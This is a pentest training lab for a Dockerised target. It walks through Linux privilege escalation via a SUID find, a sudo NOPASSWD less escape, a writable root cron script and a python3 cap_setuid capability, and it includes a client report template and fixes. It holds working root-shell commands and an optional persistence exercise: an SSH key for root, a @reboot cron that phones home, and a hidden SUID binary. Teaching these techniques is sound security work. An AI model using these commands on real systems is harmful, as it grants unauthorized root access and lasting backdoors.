Privilege escalation — Hands-on lab
You saw, in the walkthrough, how an unprivileged account becomes root by exploiting one misconfiguration. Your turn to find three different ones, in the same target image, and to write the card you would deliver to a client.
Plan for: 3 h.
Deliverable: ~/labs/rapport/elevations.md with three structured cards + ~/labs/preuves/ with the matching execution traces.
Prerequisites
Docker Desktop working. The inskillsec/kali-lab image must be built (see module 01) — the M09 compose builds it automatically on first run if you have not built it yet.
No VM. No network setup. The target and the attacker are two containers talking over a private Docker network, 10.20.30.0/24.
Why Docker rather than a VM for this lab
This lab used to run on Metasploitable 2 + Metasploitable 3 in VirtualBox. Moving to Docker is not a technical preference: it is a pedagogical decision.
What we lost: Windows. A Windows Server VM shows escalation paths (Unquoted Service Path, DLL hijacking, AlwaysInstallElevated) that have no Linux equivalent. Windows containers exist, but they weigh 5–6 GB, run only on a Windows host, and do not faithfully reproduce a physical machine — the real gesture needs system services, registry, GUI. These topics are covered in the concepts lesson (9.1) and point to HackTheBox for real practice.
What we gained: ten minutes of setup instead of two hours, no bridged adapter issues, no snapshots, no lost root passwords. A bit-for-bit reproducible target that guarantees the four pedagogical paths are exactly the ones we describe — not eight kernel CVEs that diverge with the Ubuntu version.
What stays unchanged: the pentester's reasoning. SUID, lax sudo, writable cron, offensive capabilities — these are exactly the same vectors as on a real server. The Docker target of this lab is actually more realistic than Metasploitable 2 on this point: Metasploitable 2 is a 2004 CVE museum, whereas the M09 target reproduces mistakes we still find in 2026 on recent servers.
Step 1 — Start the lab (2 min)
cd labs/docker/module-09-elevation-privileges
docker compose up -d --build
The first --build takes two to three minutes (Ubuntu 22.04 + about twenty packages). Subsequent runs are instant from the cache.
Verify:
docker compose ps
docker compose logs cible-linux
In the logs, you should see four lines [m09] Voie … : … confirming that each vector is in place. If one is missing, the corresponding path will not work — see the troubleshooting section.
Enter the attacker:
docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
Step 2 — The bob foothold (5 min)
The starting point is a standard user account obtained in a previous module (phishing, weak password, exposed service). Here it is bob:password over SSH.
From the attacker:
ssh bob@10.20.30.20
# password: password
You are now on the target, as bob. No privileges. Everything else starts from here.
What a foothold actually looks like on a real engagement
On a real engagement, you almost never enter directly as root. You enter as a poor account: a web service runs as www-data, a forgotten developer account has a weak password, a leaked password on GitHub still works, a non-sudo user clicked on a link.
This account lets you do three things: read files it has access to, run processes, write to its own home directory. It does not let you read /etc/shadow, modify /etc/passwd, or listen on privileged ports (< 1024).
Privilege escalation is the bridge between these two worlds. It is almost always the step that takes the most time on a mission, and it is what most sharply separates an experienced pentester from a beginner. A beginner runs linpeas and clicks on whatever glows. A pentester reads linpeas output and already knows, at this step, which of the thirty suspicious lines is the real one.
Step 3 — Map by hand (20 min)
Resist the temptation to run linpeas immediately. Do a manual mapping first: this is what builds the reflex. Linpeas will come at step 4 to compare.
On the target, as bob, four commands reveal the four paths:
# Path 1 — SUID binaries
find / -perm -u=s -type f 2>/dev/null
# Path 2 — sudo entries allowed without a password
sudo -l
# Path 3 — root cron and writable scripts
cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -l /opt/backup.sh
# Path 4 — offensive capabilities
getcap -r / 2>/dev/null
Each command reveals one lead — not four disguised leads, four genuinely distinct ones. Take five minutes to understand what you see before you keep going.
How to read the output of find -perm -u=s
find / -perm -u=s -type f 2>/dev/null lists every file with the SUID bit set. The output typically has 15 to 25 lines on a standard Ubuntu, and 90% are normal: su, sudo, mount, umount, passwd, chsh must have SUID to work — they change identity for the duration of their execution.
What you look for is the binary that has no business being in that list. On this target, /usr/bin/find is SUID — a plain find is never SUID on a clean Linux. That is the signal.
The whitelist of what should be SUID on Ubuntu 22.04:
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
Anything outside that list is an escalation candidate. find, less, awk, perl, python, vim, nmap, tar: each has a GTFOBins method to spawn a root shell.
sudo -l: the first question you always ask
sudo -l shows what your account is allowed to do with sudo. The output falls into three cases:
Sorry, user bob may not run sudo— no sudo rights at all. This is the nominal case.bob may run the following commands: (ALL) ALL— full sudo with a password. You need bob's password. If you already have it (that was your foothold), you are root immediately:sudo su.bob may run the following commands: (ALL) NOPASSWD: /usr/bin/less /var/log/*— restricted sudo and without a password. This is path 2 in this lab.
Case 3 is the most frequent mistake in production. The admin wanted to let bob read logs without hassling him for passwords, so they wrote a restrictive sudoers rule. Except less accepts the command !command, which spawns a shell — inheriting the sudo rights, therefore root. GTFOBins catalogues, for each command, the corresponding technique.
Writable cron: why it is just as serious
Cron runs commands at regular intervals, with the rights of the user it was configured for. /etc/crontab and /etc/cron.d/* contain system crons, running as root by default.
A cron line has the format minute hour day month day_of_week user command. On this target, /etc/cron.d/backup contains:
* * * * * root /opt/backup.sh
Translation: every minute, root runs /opt/backup.sh. Nothing malicious in itself — a normal business need (log backups).
The mistake is elsewhere. /opt/backup.sh has permissions 777: readable, executable, and writable by everyone, including bob. The attacker replaces the script's content with anything. One minute later, their command runs as root.
This is the only path in this lab that requires waiting — the other three grant root instantly. This is where you measure the difference between an instant attack (SUID, sudo, capability) and a delayed one (cron, service, watchdog). On a mission with a short window, the instant attacker wins.
getcap: the path half of pentesters forget
Linux capabilities are an intermediate mechanism between "normal user" and "full root". They let you grant a binary one specific ability — listen on privileged ports, read any file, change identity — without giving it full root rights.
Used well, they replace SUID more safely: instead of a binary becoming root at once, it gets exactly the capability it needs. A ping with cap_net_raw can open raw sockets but nothing else — stricter than a SUID ping.
Used badly, they are one of the stealthiest paths to root. cap_setuid+ep on python authorizes the setuid(0) call, which is becoming root. That capability does not appear in find / -perm -u=s, is not found in sudo -l, is not in /etc/crontab. An attacker who does not run getcap -r / misses it.
The command getcap -r / 2>/dev/null lists every capability on the system. Look for the offensive words: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_read_search, cap_dac_override. Each is a direct path to root, as long as it is on a binary you can invoke (like python, perl, gdb, or a binary you write yourself).
Note what you found in ~/labs/rapport/elevations.md. One line per path, in three words: SUID find, sudo NOPASSWD less, writable cron backup.sh, cap_setuid python3.
Step 4 — Confirm with linpeas (10 min)
From Kali, push linpeas to the target via a simple HTTP download (Kali serves, bob downloads):
# --- On Kali (another terminal) ---
cd /tmp
cp /usr/share/peass/linpeas/linpeas.sh . 2>/dev/null \
|| wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000
# --- On the target (bob session) ---
cd /tmp
wget http://10.20.30.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee ~/linpeas-output.txt
Linpeas spends five minutes scanning everything. Look at the sections highlighted in red/yellow:
[+] SUID - Check easy privesc, exploits and write perms→ should list/usr/bin/find.[+] Checking sudo tokens→ should list the NOPASSWD rule on less.[+] Cron jobs→ should flag/opt/backup.shwith its777rights.[+] Capabilities→ should listcap_setuid+epon python3.10.
Bring the output back to Kali to archive it:
# Still on the target
exit # leaves SSH
# On Kali
scp bob@10.20.30.20:~/linpeas-output.txt ~/labs/preuves/00-linpeas.txt
This step is not there to "find" — you already found everything in step 3. It is there to calibrate your eye: what does linpeas output look like when the misconfigs are real? On future missions, you will immediately separate a linpeas signal from a false positive.
Step 5 — Pick your three paths (5 min)
You have four leads, the lab asks for three different ones (not three SUIDs on three different binaries — three genuinely distinct families).
Suggestion: path 1 + path 2 + one of the last two. Paths 1 and 2 are classical, paths 3 and 4 are more subtle.
Write your three choices at the top of rapport/elevations.md, with a one-sentence justification per choice. This is not a formality — it is the first paragraph the CISO reads.
Step 6 — Path 1: SUID on find (30 min)
Discovery:
ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find
The s in place of the owner's x is the SUID bit. find therefore runs with root's rights, regardless of who invokes it.
Exploitation:
find . -exec /bin/sh -p \; -quit
# id
# uid=1000(bob) euid=0(root) groups=1000(bob)
-exec runs a command. \; -quit limits it to a single execution. -p asks sh to keep its effective UID (0) rather than dropping to 1000 — without -p, bash and sh restrict themselves when they detect they are running SUID.
Confirmation:
whoami # prints root
id # uid=1000(bob) euid=0(root)
cat /etc/shadow | head -3
Save the trace:
script -q -c 'find . -exec /bin/sh -p \; -quit' ~/preuves/01-suid-find.log
Write the card in rapport/elevations.md using the template below.
Card template to fill in
## Escalation 1 — SUID on /usr/bin/find
### Context
- Target: 10.20.30.20 (staging-01.acme.local)
- Starting account: bob (uid 1000)
- Goal: root
### Discovery
- Command: `find / -perm -u=s -type f 2>/dev/null`
- Revealing output: `/usr/bin/find` is in the list, though this binary has no
business being SUID on a clean Linux.
### Exploitation
- Payload: `find . -exec /bin/sh -p \; -quit`
- Confirmation: `id` → `euid=0(root)`
### Impact
A standard user account becomes root in one command. Reading /etc/shadow, modifying
/etc/passwd, planting backdoors, accessing every other user's data. In practice:
complete compromise of the machine.
### Recommendation
- Immediate: `chmod u-s /usr/bin/find` — remove the SUID bit.
- Long-term: weekly audit of SUID binaries (`find / -perm -u=s -type f`), alert on
any new SUID outside the whitelist.
### Evidence
- preuves/01-suid-find.log
Step 7 — Path 2: sudo NOPASSWD on less (30 min)
Discovery:
sudo -l
# User bob may run the following commands on cible:
# (ALL) NOPASSWD: /usr/bin/less /var/log/*
bob can read every file under /var/log/* as root, without a password. The human shortcut is "he can view the logs". The real behaviour is broader.
Exploitation:
sudo less /var/log/backup.log
# Once less is open, type:
!/bin/bash
# Then Enter. A shell opens. id:
# uid=0(root) gid=0(root) groups=0(root)
!command is a documented feature of less: it passes the command to the shell with the rights of the less process. Since less runs under sudo (therefore root), the shell inherits root.
Confirmation:
whoami # root
id # uid=0
exit # leaves bash
q # leaves less
Save the trace:
script -q -c 'sudo less /var/log/backup.log' ~/preuves/02-sudo-less.log
# In less: !id ; then q to quit
Why less accepts !command — historical
Less is a descendant of more, itself a descendant of the Berkeley pager from the 80s. Back then, a pager was not a passive reader: it was a tool the sysadmin used to work. Naturally, from less, you could run a command without leaving the current page.
The !command feature survived. It is documented in the manpage — not hidden, not removed. The problem is not less, it is sudo less. Passing an interactive command like less through sudo is almost always a mistake: less, vi, awk, find, tar, all accept a shell escape. GTFOBins catalogues more than 200 binaries with at least one escape method.
Strict rule for an admin writing a sudoers: only allow non-interactive commands in NOPASSWD. Ideal: an in-house script with no arguments, better still if placed on a path bob cannot overwrite. A rule NOPASSWD: /usr/local/bin/read-log.sh written well is safe. A rule NOPASSWD: /usr/bin/less /var/log/* is not.
Write the card in the report.
Step 8 — Path 3 or 4, your choice (30 min)
Option A — writable cron:
# As bob
ls -l /opt/backup.sh
# -rwxrwxrwx 1 root root ... /opt/backup.sh
# Inject a command
cat > /opt/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
# Wait one minute (cron runs * * * * *)
sleep 65
# Use the SUID bash planted by root
/tmp/rootbash -p
# id → euid=0
Save:
script -q -c '/tmp/rootbash -p' ~/preuves/03-cron.log
Option B — capability cap_setuid on python3:
getcap /usr/bin/python3.10
# /usr/bin/python3.10 cap_setuid=ep
python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
# id → uid=0
Save:
script -q -c "python3.10 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'" \
~/preuves/03-capability.log
Write the corresponding card.
Why path 3 requires waiting and the others do not
Cron wakes its daemon every minute. When you rewrite /opt/backup.sh, nothing happens immediately — you have to wait for the next tick.
On a real mission, this latency can be good news: it makes the attack detectable only in the logs at cron execution time, not at script modification time. Many SIEMs watch execve(/opt/backup.sh), not write(/opt/backup.sh) — the attacker has time to clean up.
It can also be bad news if you are on a clock. A two-hour test window does not tolerate an @daily cron. Always look at the frequency: */1 *, */5 *, @hourly, @daily. An @daily cron on a two-hour lab is unexploitable in practice — it is theory.
The lab uses * * * * * (every minute) to stay usable. On a real mission, if you find @daily, write the vector into the report as hypothetically exploitable and move on.
Step 9 — The overall report (20 min)
Before the three cards, add a five-to-ten line executive summary, a synthesis table, and a global recommendations section.
# Privilege escalation report — staging-01.acme.local
## Executive summary
Three privilege escalation paths were identified and exploited on
staging-01.acme.local from a standard user account (bob). Each leads to
full root access in under a minute. None depends on a kernel exploit —
they all rely on system or sudo misconfigurations. Fixing them requires
no reboot and can be done in less than thirty minutes total.
## Synthesis
| # | Vector | Discovery | Exploitation | Fix |
| - | ------ | --------- | ------------ | --- |
| 1 | SUID `/usr/bin/find` | `find / -perm -u=s` | `find . -exec /bin/sh -p \; -quit` | `chmod u-s /usr/bin/find` |
| 2 | sudo NOPASSWD `less /var/log/*` | `sudo -l` | in less: `!/bin/bash` | Rewrite `/etc/sudoers.d/bob-less` |
| 3 | Writable cron `/opt/backup.sh` | `cat /etc/cron.d/*` | Rewrite `backup.sh`, wait 1 min | `chmod 755 /opt/backup.sh`, owner root |
## Detailed cards
(the 3 cards above)
## Global recommendations
1. **Audit** every SUID / SGID binary once a week and alert on any addition
outside the whitelist.
2. **Rewrite** every NOPASSWD sudoers entry: only allow non-interactive
in-house scripts, never a system binary directly.
3. **Check** the permissions of every script referenced in /etc/crontab and
/etc/cron.d/ — no script executed as root should be writable by a non-root
user.
4. **Inventory** system capabilities monthly: `getcap -r /`. Remove any
capability on an interpreter binary (python, perl, ruby) or on a known
GTFOBins binary.
5. **Detect** at runtime any `setuid()` call by a non-privileged account, any
`execve()` triggered from a writable cron, any `!command` inside less
(via auditd).
Self-assessment checklist
- Three escalations actually exploited, not merely identified.
- Three different paths: not three SUIDs, not three sudos, not three crons.
- Each card has: context + discovery + exploitation + impact + recommendation + evidence.
- Complete evidence in
preuves/(at least one file per escalation, plus the linpeas output). - No card is limited to a screenshot of
whoami. - Concrete recommendations, not "harden security" nor "apply updates".
- Executive summary under ten lines at the top of the report.
- Synthesis table on one page, readable without the cards.
- No kernel exploit — this lab never asks for a kernel exploit.
Optional extension — Write a bash-persist.sh
Once you are root, how does an attacker stay? Write preuves/persist.sh that installs three persistence mechanisms:
- An SSH key added to
/root/.ssh/authorized_keys. - A
@rebootcron that phones home. - A SUID binary hidden in
/tmp/.X11-lock(deliberately harmless-looking name).
Document each mechanism, and the command to remove it cleanly at the end of the engagement. A pentester who forgets a backdoor is no longer a pentester — the report must list what they planted and the removal procedure.
On this Docker target, persistence disappears at the first docker compose down -v. That is a good pedagogical thing: you can experiment without fear of leaving an artifact. On a real mission, the removal commands are part of the deliverable.
What usually gets stuck
| Symptom | Cause | Fix |
|---|---|---|
find . -exec /bin/sh \; gives a shell but id says uid=1000 | Bash dropped SUID | Use -p: /bin/sh -p or bash -p. |
sudo less asks for a password | sudoers file not applied | docker compose exec cible-linux cat /etc/sudoers.d/bob-less. |
!command inside less does not spawn a shell | Recent hardened less | Use !/bin/bash -p explicitly. |
| The cron never fires | cron service not started | docker compose logs cible-linux — should show [m09] Voie 3. Otherwise docker compose restart cible-linux. |
python3 -c 'os.setuid(0)' returns EPERM | Capability lost at build or cap_add: SETUID removed from compose | Rebuild: docker compose build --no-cache cible-linux. |
| linpeas says "no writable cron" while /opt/backup.sh is writable | linpeas version older than 2023 | Download the latest release from GitHub. |
| Root shell loses its colour / prompt | Minimal SUID bash | export PS1='# ' then source /root/.bashrc if reachable. |
What this lab does not cover — and where to go
Windows privesc — Unquoted Service Path, DLL hijacking, AlwaysInstallElevated
Windows Server images in Docker exist (mcr.microsoft.com/windows/server), but they weigh 5–6 GB, run only on a Windows host, and do not faithfully simulate a physical station — many system services are missing.
To practice for real:
- HackTheBox Optimum, Legacy, Blue, Devel — retired Windows machines, freely available on the Starter tier.
- VulnHub — Windows VMs to download and run under VirtualBox.
- Windows Server 2019 evaluation — free ISO at Microsoft, valid 180 days. Install it in VirtualBox and pair with WinPEAS + PowerUp.
Concepts covered in lesson 9.1:
- Unquoted Service Path: a service whose path contains spaces without quotes, Windows resolves it by trying each segment. A
C:\Program.exeplanted by the attacker runs beforeC:\Program Files\App\bin.exe. - DLL hijacking: a service loads a DLL by name (
shell32.dll), Windows searches multiple directories. If one of them is writable, the attacker plants their DLL there. - AlwaysInstallElevated: two registry keys
HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=1andHKLM\...let any user install an MSI as SYSTEM.
Kerberoasting and Active Directory
Reproducing an Active Directory domain in Docker takes two or three containers (samba-ad-dc, LDAP, Kerberos), a shared DNS configuration, and persistent storage. The result is not faithful to a Microsoft AD — Samba AD is a good substitute for Kerberos but not for the subtleties of LSASS or ADCS.
To practice:
- GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD. Vagrant + VirtualBox, spins up a
sevenkingdoms.localdomain with several vulnerable machines. The reference lab in French-speaking cybersecurity. - HackTheBox Prolabs Dante, Offshore, Zephyr: guided Active Directory tracks, a few tens of dollars but very instructive.
- TryHackMe — free AD modules to get comfortable with the tooling (impacket, bloodhound, mimikatz).
The next lab (module 10 — Lateral movement) covers pivoting in Docker, which is the technical prerequisite of lateral movement in AD.
What you take away from this lab
- Three escalation paths actually exploited, not four lines of linpeas photographed.
- Precise vocabulary: SUID,
cap_setuid,sudo -l, GTFOBins, writable cron, offensive capability. - A three-to-five page report presentable to a client, with executive summary, table, cards and global recommendations.
- The ability to redo this work on your own, in three hours, on any future engagement — whatever vectors are present.
Next step: the quiz. Then module 10 — Lateral movement. Once you are root on one machine, how you compromise the twenty others on the internal network.